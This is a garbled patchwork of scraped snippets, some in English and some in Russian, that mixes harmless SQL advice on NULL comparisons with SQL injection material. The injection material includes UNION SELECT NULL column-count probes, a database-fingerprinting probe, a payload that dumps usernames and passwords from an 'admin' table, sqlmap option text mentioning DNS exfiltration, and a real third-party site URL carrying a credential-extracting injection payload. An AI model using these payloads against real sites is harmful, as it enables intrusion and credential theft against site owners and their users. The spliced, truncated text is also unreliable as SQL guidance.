Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc. If the number of nulls does not match the number of
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- Если нет ошибки, значит синтаксис верный, т.е. используется MS SQL Server.
P5.1.73-cll3!Padmin_ckg=~= http://www.carnegiegreenaway.org.uk/shadowingsite/review.php?id=999999.9+union+all+select(select+concat(0x3d7e3d,ifnull(user,char(32)),0x332150,ifnull(pass,char...
SELECT count(*) FROM us WHERE a IS NULL UNION ALL SELECT count(*) FROM us WHERE a IS NOT NULL. Edited to have the full query, after reading the comments.
You should use IS NOT NULL. (The comparison operators = and <> both give UNKNOWN with NULL on either side of the expression.)
When inner.value is marked as NOT NULL, all these queries are semantically equivalent and with proper indexing have similarly optimized execution plans in MySQL. Now, what if inner.value is not nullable and does contain some NULL values? Let's create some sample tables: Table creation details.
Существуют специальные операторы IS NULL и IS NOT NULL, которые позволяют производить сравнения с NULLами.
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
--union-char=UCHAR Символ для использования при брутфорсинге количества колонок. --union-from=UFROM Таблица для использования в FROM части UNION запроса SQL инъекции. --dns-domain=ДОМЕН Доменное имя, используемое для эксфильтрационной атаки DNS.